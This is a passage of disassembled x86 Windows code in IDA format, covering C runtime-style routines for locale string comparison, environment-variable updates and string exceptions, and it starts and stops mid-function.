		jle	short loc_434BD3
		cmp	[ebp+var_3C], 2
		jnb	short loc_434B70
		mov	eax, 3
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434B70:				; CODE XREF: sub_4349C0+1A4j
		lea	eax, [ebp+var_36]
		mov	[ebp+var_40], eax
		jmp	short loc_434B81
; ---------------------------------------------------------------------------


loc_434B78:				; CODE XREF: sub_4349C0:loc_434BC7j
		mov	ecx, [ebp+var_40]
		add	ecx, 2
		mov	[ebp+var_40], ecx


loc_434B81:				; CODE XREF: sub_4349C0+1B6j
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_434BC9
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_434BC9
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		cmp	ecx, eax
		jl	short loc_434BC7
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	edx, ecx
		jg	short loc_434BC7
		mov	eax, 2
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434BC7:				; CODE XREF: sub_4349C0+1E8j
					; sub_4349C0+1FBj
		jmp	short loc_434B78
; ---------------------------------------------------------------------------


loc_434BC9:				; CODE XREF: sub_4349C0+1CAj
					; sub_4349C0+1D6j
		mov	eax, 3
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434BD3:				; CODE XREF: sub_4349C0+19Ej
		cmp	[ebp+arg_14], 0
		jle	short loc_434C4C
		cmp	[ebp+var_3C], 2
		jnb	short loc_434BE9
		mov	eax, 1
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434BE9:				; CODE XREF: sub_4349C0+21Dj
		lea	edx, [ebp+var_36]
		mov	[ebp+var_40], edx
		jmp	short loc_434BFA
; ---------------------------------------------------------------------------


loc_434BF1:				; CODE XREF: sub_4349C0:loc_434C40j
		mov	eax, [ebp+var_40]
		add	eax, 2
		mov	[ebp+var_40], eax


loc_434BFA:				; CODE XREF: sub_4349C0+22Fj
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_434C42
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_434C42
		mov	edx, [ebp+arg_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	eax, edx
		jl	short loc_434C40
		mov	eax, [ebp+arg_10]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	ecx, eax
		jg	short loc_434C40
		mov	eax, 2
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434C40:				; CODE XREF: sub_4349C0+261j
					; sub_4349C0+274j
		jmp	short loc_434BF1
; ---------------------------------------------------------------------------


loc_434C42:				; CODE XREF: sub_4349C0+243j
					; sub_4349C0+24Fj
		mov	eax, 1
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434C4C:				; CODE XREF: sub_4349C0+10Aj
					; sub_4349C0+217j
		push	0
		push	0
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F1420	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_434C74
		xor	eax, eax
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434C74:				; CODE XREF: sub_4349C0+2ABj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BC60
		mov	[ebp+var_44], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_434CB6
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_434CB6:				; CODE XREF: sub_4349C0+2DDj
		cmp	[ebp+var_24], 0
		jnz	short loc_434CC3
		xor	eax, eax
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434CC3:				; CODE XREF: sub_4349C0+2FAj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F1420	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_434CEA
		xor	eax, eax
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434CEA:				; CODE XREF: sub_4349C0+321j
		push	0
		push	0
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F1420	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_434D12
		xor	eax, eax
		jmp	loc_434DA4
; ---------------------------------------------------------------------------


loc_434D12:				; CODE XREF: sub_4349C0+349j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BC60
		mov	[ebp+var_48], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_28], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_434D54
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_28], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_434D54:				; CODE XREF: sub_4349C0+37Bj
		cmp	[ebp+var_28], 0
		jnz	short loc_434D5E
		xor	eax, eax
		jmp	short loc_434DA4
; ---------------------------------------------------------------------------


loc_434D5E:				; CODE XREF: sub_4349C0+398j
		mov	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	dword_4F1420	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_434D82
		xor	eax, eax
		jmp	short loc_434DA4
; ---------------------------------------------------------------------------


loc_434D82:				; CODE XREF: sub_4349C0+3BCj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F12C4	; CompareStringW
		jmp	short loc_434DA4
; ---------------------------------------------------------------------------


loc_434DA2:				; CODE XREF: sub_4349C0+EBj
		xor	eax, eax


loc_434DA4:				; CODE XREF: sub_4349C0+81j
					; sub_4349C0+DFj ...
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4349C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434DC0	proc near		; CODE XREF: sub_4349C0+94p
					; sub_4349C0+ADp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx


loc_434DD2:				; CODE XREF: sub_434DC0+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_434DF7
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_434DF7
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_434DD2
; ---------------------------------------------------------------------------


loc_434DF7:				; CODE XREF: sub_434DC0+20j
					; sub_434DC0+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_434E09
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_434E0C
; ---------------------------------------------------------------------------


loc_434E09:				; CODE XREF: sub_434DC0+3Fj
		mov	eax, [ebp+arg_4]


loc_434E0C:				; CODE XREF: sub_434DC0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_434DC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434E10	proc near		; CODE XREF: sub_4345C0+92p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		cmp	[ebp+arg_0], 0
		jz	short loc_434E3C
		push	3Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_435260
		add	esp, 8
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_434E3C
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_18]
		jnz	short loc_434E44


loc_434E3C:				; CODE XREF: sub_434E10+Bj
					; sub_434E10+22j
		or	eax, 0FFFFFFFFh
		jmp	loc_4350EB
; ---------------------------------------------------------------------------


loc_434E44:				; CODE XREF: sub_434E10+2Aj
		mov	edx, [ebp+var_18]
		movsx	eax, byte ptr [edx+1]
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_14], eax
		mov	ecx, dword_4EF898
		cmp	ecx, dword_4EF89C
		jnz	short loc_434E75
		mov	edx, dword_4EF898
		push	edx
		call	sub_435170
		add	esp, 4
		mov	dword_4EF898, eax


loc_434E75:				; CODE XREF: sub_434E10+4Fj
		cmp	dword_4EF898, 0
		jnz	loc_434F35
		cmp	[ebp+arg_4], 0
		jz	short loc_434EA7
		cmp	dword_4EF8A0, 0
		jz	short loc_434EA7
		call	sub_4345C0
		test	eax, eax
		jz	short loc_434EA2
		or	eax, 0FFFFFFFFh
		jmp	loc_4350EB
; ---------------------------------------------------------------------------


loc_434EA2:				; CODE XREF: sub_434E10+88j
		jmp	loc_434F35
; ---------------------------------------------------------------------------


loc_434EA7:				; CODE XREF: sub_434E10+76j
					; sub_434E10+7Fj
		cmp	[ebp+var_14], 0
		jz	short loc_434EB4
		xor	eax, eax
		jmp	loc_4350EB
; ---------------------------------------------------------------------------


loc_434EB4:				; CODE XREF: sub_434E10+9Bj
		cmp	dword_4EF898, 0
		jnz	short loc_434EF4
		push	87h
		push	offset dword_438F98
		push	2
		push	4
		call	sub_418EF0
		add	esp, 10h
		mov	dword_4EF898, eax
		cmp	dword_4EF898, 0
		jnz	short loc_434EE9
		or	eax, 0FFFFFFFFh
		jmp	loc_4350EB
; ---------------------------------------------------------------------------


loc_434EE9:				; CODE XREF: sub_434E10+CFj
		mov	eax, dword_4EF898
		mov	dword ptr [eax], 0


loc_434EF4:				; CODE XREF: sub_434E10+ABj
		cmp	dword_4EF8A0, 0
		jnz	short loc_434F35
		push	8Eh
		push	offset dword_438F98
		push	2
		push	4
		call	sub_418EF0
		add	esp, 10h
		mov	dword_4EF8A0, eax
		cmp	dword_4EF8A0, 0
		jnz	short loc_434F29
		or	eax, 0FFFFFFFFh
		jmp	loc_4350EB
; ---------------------------------------------------------------------------


loc_434F29:				; CODE XREF: sub_434E10+10Fj
		mov	ecx, dword_4EF8A0
		mov	dword ptr [ecx], 0


loc_434F35:				; CODE XREF: sub_434E10+6Cj
					; sub_434E10:loc_434EA2j ...
		mov	edx, dword_4EF898
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4350F0
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jl	loc_434FF1
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx], 0
		jz	loc_434FF1
		cmp	[ebp+var_14], 0
		jz	short loc_434FE3
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_419980
		add	esp, 8
		jmp	short loc_434F8F
; ---------------------------------------------------------------------------


loc_434F86:				; CODE XREF: sub_434E10+19Ej
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_434F8F:				; CODE XREF: sub_434E10+174j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_434FB0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+var_C]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4], edx
		jmp	short loc_434F86
; ---------------------------------------------------------------------------


loc_434FB0:				; CODE XREF: sub_434E10+189j
		push	0B9h
		push	offset dword_438F98
		push	2
		mov	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_419380
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_434FE1
		mov	edx, [ebp+var_C]
		mov	dword_4EF898, edx


loc_434FE1:				; CODE XREF: sub_434E10+1C6j
		jmp	short loc_434FEF
; ---------------------------------------------------------------------------


loc_434FE3:				; CODE XREF: sub_434E10+15Ej
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4], edx


loc_434FEF:				; CODE XREF: sub_434E10:loc_434FE1j
		jmp	short loc_435064
; ---------------------------------------------------------------------------


loc_434FF1:				; CODE XREF: sub_434E10+148j
					; sub_434E10+154j
		cmp	[ebp+var_14], 0
		jnz	short loc_43505D
		cmp	[ebp+var_8], 0
		jge	short loc_435005
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_435005:				; CODE XREF: sub_434E10+1EBj
		push	0CEh
		push	offset dword_438F98
		push	2
		mov	ecx, [ebp+var_8]
		lea	edx, ds:8[ecx*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_419380
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_435039
		or	eax, 0FFFFFFFFh
		jmp	loc_4350EB
; ---------------------------------------------------------------------------


loc_435039:				; CODE XREF: sub_434E10+21Fj
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+ecx*4+4], 0
		mov	eax, [ebp+var_C]
		mov	dword_4EF898, eax
		jmp	short loc_435064
; ---------------------------------------------------------------------------


loc_43505D:				; CODE XREF: sub_434E10+1E5j
		xor	eax, eax
		jmp	loc_4350EB
; ---------------------------------------------------------------------------


loc_435064:				; CODE XREF: sub_434E10:loc_434FEFj
					; sub_434E10+24Bj
		cmp	[ebp+arg_4], 0
		jz	short loc_4350E9
		push	0E5h
		push	offset dword_438F98
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_418D00
		add	esp, 4
		add	eax, 2
		push	eax
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4350E9
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_41C300
		add	esp, 8
		mov	ecx, [ebp+var_18]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		neg	edx
		sbb	edx, edx
		not	edx
		and	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	dword_4F12C0	; SetEnvironmentVariableA
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_419980
		add	esp, 8


loc_4350E9:				; CODE XREF: sub_434E10+258j
					; sub_434E10+285j
		xor	eax, eax


loc_4350EB:				; CODE XREF: sub_434E10+2Fj
					; sub_434E10+8Dj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_434E10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4350F0	proc near		; CODE XREF: sub_434E10+139p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4EF898
		mov	[ebp+var_4], eax
		jmp	short loc_435107
; ---------------------------------------------------------------------------


loc_4350FE:				; CODE XREF: sub_4350F0:loc_435158j
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx


loc_435107:				; CODE XREF: sub_4350F0+Cj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_43515A
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_434570
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_435158
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [edx+eax]
		cmp	ecx, 3Dh
		jz	short loc_43514A
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [eax+ecx]
		test	edx, edx
		jnz	short loc_435158


loc_43514A:				; CODE XREF: sub_4350F0+48j
		mov	eax, [ebp+var_4]
		sub	eax, dword_4EF898
		sar	eax, 2
		jmp	short loc_435168
; ---------------------------------------------------------------------------


loc_435158:				; CODE XREF: sub_4350F0+37j
					; sub_4350F0+58j
		jmp	short loc_4350FE
; ---------------------------------------------------------------------------


loc_43515A:				; CODE XREF: sub_4350F0+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, dword_4EF898
		sar	eax, 2
		neg	eax


loc_435168:				; CODE XREF: sub_4350F0+66j
		mov	esp, ebp
		pop	ebp
		retn
sub_4350F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435170	proc near		; CODE XREF: sub_434E10+58p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_435190
		xor	eax, eax
		jmp	loc_43525A
; ---------------------------------------------------------------------------


loc_435190:				; CODE XREF: sub_435170+17j
					; sub_435170+3Bj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_C]
		add	eax, 4
		mov	[ebp+var_C], eax
		test	edx, edx
		jz	short loc_4351AD
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_435190
; ---------------------------------------------------------------------------


loc_4351AD:				; CODE XREF: sub_435170+30j
		push	146h
		push	offset dword_438F98
		push	2
		mov	edx, [ebp+var_10]
		lea	eax, ds:4[edx*4]
		push	eax
		call	sub_418EF0
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_4351E5
		push	9
		call	sub_41EB30
		add	esp, 4


loc_4351E5:				; CODE XREF: sub_435170+69j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_C], edx


loc_4351EB:				; CODE XREF: sub_435170+DCj
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_43524E
		push	14Fh
		push	offset dword_438F98
		push	2
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx
		call	sub_418D00
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_418EF0
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jz	short loc_43523A
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	sub_41C300
		add	esp, 8


loc_43523A:				; CODE XREF: sub_435170+B4j
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]


loc_435246:				; DATA XREF: .nsp0:00452064o
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_4351EB
; ---------------------------------------------------------------------------


loc_43524E:				; CODE XREF: sub_435170+81j
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp+var_4]


loc_43525A:				; CODE XREF: sub_435170+1Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_435170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435260	proc near		; CODE XREF: sub_434E10+13p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4EFD5C, 0
		jnz	short loc_435282
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41C400
		add	esp, 8
		jmp	loc_435349
; ---------------------------------------------------------------------------


loc_435282:				; CODE XREF: sub_435260+Bj
		push	19h
		call	sub_41FB40
		add	esp, 4
		jmp	short loc_435297
; ---------------------------------------------------------------------------


loc_43528E:				; CODE XREF: sub_435260:loc_435326j
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx


loc_435297:				; CODE XREF: sub_435260+2Cj
		mov	eax, [ebp+arg_0]
		movzx	cx, byte ptr [eax]
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_43532B
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, byte_4EFE61[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_435316
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_4352E8
		push	19h
		call	sub_41FBE0
		add	esp, 4
		xor	eax, eax
		jmp	short loc_435349
; ---------------------------------------------------------------------------


loc_4352E8:				; CODE XREF: sub_435260+78j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		shl	edx, 8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		or	edx, ecx
		cmp	[ebp+arg_4], edx
		jnz	short loc_435314
		push	19h
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		jmp	short loc_435349
; ---------------------------------------------------------------------------


loc_435314:				; CODE XREF: sub_435260+A0j
		jmp	short loc_435326
; ---------------------------------------------------------------------------


loc_435316:				; CODE XREF: sub_435260+64j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		cmp	[ebp+arg_4], edx
		jnz	short loc_435326
		jmp	short loc_43532B
; ---------------------------------------------------------------------------


loc_435326:				; CODE XREF: sub_435260:loc_435314j
					; sub_435260+C2j
		jmp	loc_43528E
; ---------------------------------------------------------------------------


loc_43532B:				; CODE XREF: sub_435260+4Dj
					; sub_435260+C4j
		push	19h
		call	sub_41FBE0
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	[ebp+arg_4], eax
		jnz	short loc_435347
		mov	eax, [ebp+arg_0]


loc_435345:				; DATA XREF: .nsp0:004520E8o
		jmp	short loc_435349
; ---------------------------------------------------------------------------


loc_435347:				; CODE XREF: sub_435260+E0j
		xor	eax, eax


loc_435349:				; CODE XREF: sub_435260+1Dj
					; sub_435260+86j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_435260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435350	proc near		; CODE XREF: sub_40CE0D+15p
					; sub_40CEA1+15p ...

var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_28		= byte ptr -28h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_435350
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_38]
		call	sub_40CDBA
		mov	[ebp+var_4], 0
		lea	ecx, [ebp+var_38]
		push	ecx
		lea	ecx, [ebp+var_28]
		call	sub_435500
		push	offset dword_4392F0
		lea	edx, [ebp+var_28]
		push	edx
		call	sub_435F60
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_435350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4353B0	proc near		; CODE XREF: sub_435440+10p
					; sub_435620+Ep ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_4353B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		call	sub_435CE0
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Ch
		push	ecx
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40CD90
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx], offset	off_438FB8
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4353B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435420	proc near		; DATA XREF: .nsp0:00438FBCo
					; .nsp0:00438FCCo ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0Ch
		call	sub_40CE7C
		mov	esp, ebp
		pop	ebp
		retn
sub_435420	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435440	proc near		; DATA XREF: .nsp0:00438FC0o

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_20], ecx
		mov	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_1C]
		call	sub_4353B0
		push	offset dword_439360
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	sub_435F60
		mov	esp, ebp
		pop	ebp
		retn
sub_435440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435470	proc near		; CODE XREF: sub_4354D0+Ap
					; sub_4355A0+13p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_435470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp+var_10], ecx
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], offset	off_438FB8
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+var_10]
		add	ecx, 0Ch
		call	sub_40CDDD
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	ecx, [ebp+var_10]
		call	sub_435DA0
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_435470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4354D0	proc near		; DATA XREF: .nsp0:off_438FB8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
